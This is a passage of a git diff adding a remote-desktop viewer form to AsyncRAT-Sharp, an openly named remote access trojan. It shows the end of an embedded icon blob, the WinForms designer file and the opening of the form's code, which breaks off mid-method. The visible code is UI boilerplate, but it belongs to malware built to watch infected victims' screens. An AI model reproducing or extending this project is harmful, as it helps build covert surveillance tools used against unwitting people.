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
|
||||||
|
gg==
|
||||||
|
</value>
|
||||||
|
</data>
|
||||||
|
</root>
|
||||||
75
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
generated
Normal file
75
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
generated
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
namespace AsyncRAT_Sharp.Forms
|
||||||
|
{
|
||||||
|
partial class RemoteDesktop
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Required designer variable.
|
||||||
|
/// </summary>
|
||||||
|
private System.ComponentModel.IContainer components = null;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clean up any resources being used.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing && (components != null))
|
||||||
|
{
|
||||||
|
components.Dispose();
|
||||||
|
}
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
|
||||||
|
#region Windows Form Designer generated code
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Required method for Designer support - do not modify
|
||||||
|
/// the contents of this method with the code editor.
|
||||||
|
/// </summary>
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.components = new System.ComponentModel.Container();
|
||||||
|
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RemoteDesktop));
|
||||||
|
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
||||||
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||||
|
this.SuspendLayout();
|
||||||
|
//
|
||||||
|
// pictureBox1
|
||||||
|
//
|
||||||
|
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||||
|
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
|
||||||
|
this.pictureBox1.Name = "pictureBox1";
|
||||||
|
this.pictureBox1.Size = new System.Drawing.Size(938, 485);
|
||||||
|
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
||||||
|
this.pictureBox1.TabIndex = 0;
|
||||||
|
this.pictureBox1.TabStop = false;
|
||||||
|
//
|
||||||
|
// timer1
|
||||||
|
//
|
||||||
|
this.timer1.Enabled = true;
|
||||||
|
this.timer1.Interval = 1000;
|
||||||
|
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
|
||||||
|
//
|
||||||
|
// RemoteDesktop
|
||||||
|
//
|
||||||
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
|
this.ClientSize = new System.Drawing.Size(938, 485);
|
||||||
|
this.Controls.Add(this.pictureBox1);
|
||||||
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
|
this.Name = "RemoteDesktop";
|
||||||
|
this.Text = "RemoteDesktop";
|
||||||
|
this.Activated += new System.EventHandler(this.RemoteDesktop_Activated);
|
||||||
|
this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate);
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
public System.Windows.Forms.PictureBox pictureBox1;
|
||||||
|
private System.Windows.Forms.Timer timer1;
|
||||||
|
}
|
||||||
|
}
|
||||||
61
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
Normal file
61
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
Normal file
@ -0,0 +1,61 @@
|
|||||||
|
using StreamLibrary;
|
||||||
|
using StreamLibrary.UnsafeCodecs;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Data;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
using AsyncRAT_Sharp.Sockets;
|
||||||
|
using AsyncRAT_Sharp.MessagePack;
|
||||||
|
|
||||||
|
namespace AsyncRAT_Sharp.Forms
|
||||||
|
{
|
||||||
|
public partial class RemoteDesktop : Form
|
||||||
|
{
|
||||||
|
public RemoteDesktop()
|
||||||
|
{
|
||||||
|
InitializeComponent();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Form1 F { get; set; }
|
||||||
|
internal Clients C { get; set; }
|
||||||
|
public bool Active { get; set; }
|
||||||
|
public int FPS = 0;
|
||||||
|
public Stopwatch sw = Stopwatch.StartNew();
|
||||||
|
public Stopwatch RenderSW = Stopwatch.StartNew();
|
||||||
|
public IUnsafeCodec decoder = new UnsafeStreamCodec(80);
|
||||||
|
|
||||||
|
private void timer1_Tick(object sender, EventArgs e)
|
